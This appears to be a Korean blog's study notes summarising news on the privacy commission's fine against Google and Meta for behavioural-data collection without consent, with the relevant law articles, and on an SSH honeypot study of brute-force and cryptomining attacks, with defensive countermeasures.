* 구글 : 서비스 가입 시 타사 행태정보 수집·이용 사실을 명확히 알리지 않고, '옵션 더보기'를 통해 확인하도록 함, 추가적으로 기본 값을 동의로 설정함
* 메타 : 계정 생성 시 동의 받을 내용을 이용자가 알아보기 쉽지 않은 형태로 데이터 정책 전문에 게재하였을 뿐, 법정 고지사항의 구체적인 내용을 이용자에게 알리고 동의 받지 않음

- 타사 행태정보는 이용자가 다른 웹사이트 및 앱을 방문·사용하는 과정에서 자동으로 수집되므로 자신의 ‘어떤 정보’(‘어떤 웹사이트 및 앱’에서 한 ‘어떤 행태’에 대한 정보)가 수집되는지 예측하기 어려움.
- 특히, 계정정보와 연결해 맞춤형 광고에 이용된 타사 행태정보는 이용자 계정으로 접속한 모든 기기에 걸쳐 활용될 수 있고 지속적으로 축적될 경우 민감한 정보가 생성될 우려가 있음
- 실제 조사결과 대다수의 한국 이용자가 플랫폼의 타사 행태정보 수집을 허용하도록 설정(구글 82%이상, 메타 98%이상)되어 있어, 정보주체의 권리가 침해받을 가능성과 위험이 높음

* 구글 : 유럽 이용자가 회원으로 가입할 때는 행태정보 수집, 맞춤형 광고 및 개인정보 보호 설정 등을 이용자가 직접 선택하도록 단계별로 구분하여 동의를 받고 있는 것이 확인
* 메타 : 최근 한국의 기존 이용자들을 대상으로 행태정보 수집 등에 비동의할 경우 서비스를 제한하는 내용으로 동의방식 변경 시도

- 구글과 메타는 아직까지 공식 입장을 내놓지는 않고 있지만, 공통적으로 두 가지를 주장
첫 번째, 이용자의 행태정보 수집에 대한 동의는 플랫폼 사업자가 아니라 웹사이트 및 앱 서비스 사업자가 동의를 받아야 함
두 번째, 설령 플랫폼이 동의를 받아야 한다고 해도 처리방침 등을 통해 이용자들에게 알리고 동의를 받음

- 해외의 감독기구들 역시 구글, 메타가 타사 행태정보 수집 및 맞춤형 광고 활용 위반으로 판단한 사례 有
* 프랑스 : 개인정보 감독기구(CNIL)는 구글이 투명성 원칙을 위반하고 이용자로부터 맞춤형 광고에 대한 동의를 받지 않았다고 결정(2019.1)
* 독일 : 경쟁당국(FCO)은 메타가 이용자의 동의 없이 타사 행태정보를 수집·이용한 것으로 판단(2019.2)

- 개인정보위는 이용자들이 불편을 겪거나 권리가 침해되지 않도록 시정 및 개선에 주력, 관련된 지속적인 조사를 이어나갈 계획. 또한, 관련된 정책·제도를 이번 처분의 내용을 반영하여 개선 준비 중
관련 법령 - 개인정보보호법 제4조(정보주체의 권리) 정보주체는 자신의 개인정보 처리와 관련하여 다음 각 호의 권리를 가진다.
2. 개인정보의 처리에 관한 동의 여부, 동의 범위 등을 선택하고 결정할 권리

- 개인정보보호법 제15조(개인정보의 수집ㆍ이용) 
① 개인정보처리자는 다음 각 호의 어느 하나에 해당하는 경우에는 개인정보를 수집할 수 있으며 그 수집 목적의 범위에서 이용할 수 있다.

- 개인정보보호법 제16조(개인정보의 수집 제한)
③ 개인정보처리자는 정보주체가 필요한 최소한의 정보 외의 개인정보 수집에 동의하지 아니한다는 이유로 정보주체에게 재화 또는 서비스의 제공을 거부하여서는 아니 된다. <개정 2013. 8. 6.>

- 개인정보보호법 제22조(동의를 받는 방법)
① 개인정보처리자는 이 법에 따른 개인정보의 처리에 대하여 정보주체(제6항에 따른 법정대리인을 포함한다. 이하 이 조에서 같다)의 동의를 받을 때에는 각각의 동의 사항을 구분하여 정보주체가 이를 명확하게 인지할 수 있도록 알리고 각각 동의를 받아야 한다.

- 개인정보보호법 제39조의15(과징금의 부과 등에 대한 특례)
① 보호위원회는 정보통신서비스 제공자등에게 다음 각 호의 어느 하나에 해당하는 행위가 있는 경우에는 해당 정보통신서비스 제공자등에게 위반행위와 관련한 매출액의 100분의 3 이하에 해당하는 금액을 과징금으로 부과할 수 있다.

 

- 보안뉴스

 

페이스북 ‘메타’와 ‘구글’에 개인정보보호법 위반 과징금 1,000억 부과

이용자 동의 없이 개인정보(이용자의 타사 행태정보)를 수집해 온라인 맞춤형 광고에 활용하는 등 개인정보 보호법을 위반한 구글과 메타에 대하여 시정명령과 함께 약 1,000억 원의 과징금이 부

www.boannews.com

SSH - Secure Shell
- 22 포트 사용
- 원격 호스트에 접속하기 위해 사용되는 보안 프로토콜 - 암호화
- 기존 원격 접속을 위해 사용하던 Telnet 등이 암호화를 제공하지 않아 발생하는 문제 개선
절차 - SSH 허니팟을 구성한 뒤 한 달 간 모니터링
- 그 결과, 4,436개 IP에서 약 65만번의 SSH 무작위 대입 공격이 수행됨
- root, admin, user 등 시스템 또는 DB 명을 ID로, 123456, admin 등을 패스워드로 설정하여 무작위 대입 공격 수행
- 무작위 대입 공격을 통해 시스템 접속 성공 후 채굴 악성코드를 실행하기위한 시스템 사양 파악을 선 수행
- 시스템 사양 파악 후 wget 명령을 통해 파일을 다운로드 하거나, 직접 파일을 업로드 등의 방식으로 악성코드 실행

* 허니팟(Honeypot) : 비정상적인 접근을 탐지하기 위해 의도적으로 설치해 둔 시스템
대응 - SSH 서비스 포트 변경
- root 계정의 원격 로그인 금지
- 강력한 패스워드 정책 사용 등 기본적인 보안조치를 충실하게 이행
- 쇼단 등을 이용해 식별되지 않는 SSH 서비스가 있는지 주기적으로 모니터링
- 비식별 자산이 존재하지 않도록 해야함

 

보안뉴스

 

무작위 대입, 채굴 악성코드 등 해커 공격에 SSH 서비스 ‘몸살’

SSH(Secure Shell)를 타깃으로 한 무작위 대입 시도가 지속적으로 발견되고 있어 SSH 서비스 운영자들의 주의가 요구된다. SSH는 보통 리눅스 서버를 원격에서 접속하는데 사용되는 서비스다. 그런데

www.boannews.com

+ Recent posts